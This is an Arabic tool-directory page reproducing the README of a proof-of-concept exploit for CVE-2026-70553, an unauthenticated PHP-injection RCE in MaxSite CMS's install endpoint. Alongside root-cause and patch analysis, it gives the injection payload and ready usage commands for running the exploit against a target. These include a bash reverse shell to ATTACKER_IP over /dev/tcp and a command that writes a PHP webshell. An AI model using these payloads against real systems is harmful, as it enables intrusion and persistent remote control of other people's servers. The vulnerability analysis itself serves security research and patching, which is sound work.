Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-70553-PoC — استغلال لإثبات المفهوم لثغرة CVE-2026-70553، يتيح تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة في MaxSite CMS عبر حقن PHP مستمر في database.php من خلال نقطة النهاية install. | Kitploit
أدوات/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
توليد الحمولةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

استغلال لإثبات المفهوم لثغرة CVE-2026-70553، يتيح تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة في MaxSite CMS عبر حقن PHP مستمر في database.php من خلال نقطة النهاية install.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
11منذ شهر واحدلم تتم المراجعة بعد
مشاركة

CVE-2026-70553 - تنفيذ أوامر عن بُعد بدون مصادقة في MaxSite CMS

CVE CVSS

إثبات المفهوم (PoC) لثغرة CVE-2026-70553: تنفيذ أوامر عن بُعد بدون مصادقة في MaxSite CMS عبر حقن كود PHP دائم في database.php من خلال نقطة نهاية التثبيت.


إخلاء مسؤولية

إثبات المفهوم هذا مخصص لأغراض البحث الأمني التعليمية والمصرَّح بها فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا الكود. اختبر الأنظمة التي تملكها فقط أو التي لديك إذن كتابي صريح لاختبارها.


نظرة عامة على الثغرة

تحتوي إصدارات MaxSite CMS من 105.2 وحتى 109.5 على ثغرة حرجة لتنفيذ أوامر عن بُعد بدون مصادقة في نقطة نهاية التثبيت. يتم دمج المعامل db_dbprefix مباشرة في كود PHP دون تنقية، مما يسمح للمهاجمين بحقن عبارات PHP عشوائية في application/config/database.php. وبما أن هذا الملف يُضمَّن في كل طلب، فإن الكود المحقون يحقق تنفيذ أوامر دائمًا (RCE).


الإصدارات المتأثرة

  • MaxSite CMS 105.2 - 109.5
  • تم الإصلاح في: 109.6 (2026-06-08)

التفاصيل الفنية

السبب الجذري

في install/installer/functions.php، تقوم الدالة newDatabase() ببناء محتوى database.php:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

آلية الاستغلال

من خلال حقن حمولة مثل:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

يصبح الملف المُنشأ database.php كما يلي:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

يؤدي هذا إلى الخروج من النص الحرفي (string literal) وحقن كود PHP عشوائي.

التصحيح (109.6)

أضاف الإصلاح فحصًا لمنع إعادة التثبيت:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

الاستخدام

التثبيت

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

الاستخدام الأساسي

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

الخيارات

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

قيود الاستغلال

هام جدًا: تواجه هذه الثغرة قيودًا عملية شديدة في السيناريوهات الواقعية.

المتطلبات

  1. يجب أن تكون نقطة نهاية التثبيت متاحة (دليل /install/ غير محذوف)
  2. يجب ألا تكون جداول قاعدة البيانات موجودة بعد (تثبيت جديد أو قاعدة بيانات ممسوحة)
    • لا يتم استدعاء الدالة newDatabase() إلا إذا كانت الجداول غير موجودة
    • يتم التحقق من ذلك في install/installer/post.php عبر checkTableExists()

لماذا معظم المواقع غير قابلة للاستغلال

  • المواقع الإنتاجية أكملت التثبيت ← الجداول موجودة ← newDatabase() لا تُستدعى أبدًا
  • حتى لو كان /install/ متاحًا، فإن مسار الكود المؤدي إلى الحقن محجوب بفحص وجود الجداول
  • وجد مسحنا الشامل أن حوالي 24% فقط من المواقع كانت نقطة تثبيتها متاحة، و0% منها كانت قابلة للاستغلال فعليًا بسبب وجود جداول قاعدة البيانات

قابلية الاستغلال في العالم الحقيقي

  • نظريًا: حرجة (9.8 حسب CVSS)
  • عمليًا: منخفضة جدًا
  • خصائص الهدف الواقعي:
    • تثبيت توقف في منتصف العملية
    • قاعدة بيانات أُسقطت يدويًا لكن الكود ما يزال موجودًا
    • نسخ اختبار/تطوير جديدة (وليست إنتاجية)

إعادة الإنتاج محليًا

للتحقق من هذه الثغرة في بيئة خاضعة للتحكم:

إعداد البيئة المستضعفة

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

التحقق من الحقن

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

المراجع

  • سجل CVE-2026-70553
  • إدخال NVD
  • نشرة VulnCheck
  • MaxSite CMS على GitHub
  • كوميت التصحيح (109.6)

الجدول الزمني

  • 2026-06-08: إصدار MaxSite CMS 109.6 يتضمن الإصلاح
  • 2026-08-04: نشر CVE-2026-70553
  • 2026-08-06: إصدار إثبات المفهوم (PoC)

الاعتمادات

  • الاكتشاف: Amir Aliu & Enrik Mustafa (VulnCheck)
  • تطوير إثبات المفهوم: باحث أمني
  • البائع: فريق MaxSite CMS

الترخيص

تم إصدار هذا المشروع بموجب رخصة MIT. راجع LICENSE للحصول على التفاصيل.


تذكر: التزم دائمًا بممارسات الإفصاح المسؤول واحصل على إذن مناسب قبل إجراء أي اختبار.

تنزيل الأداة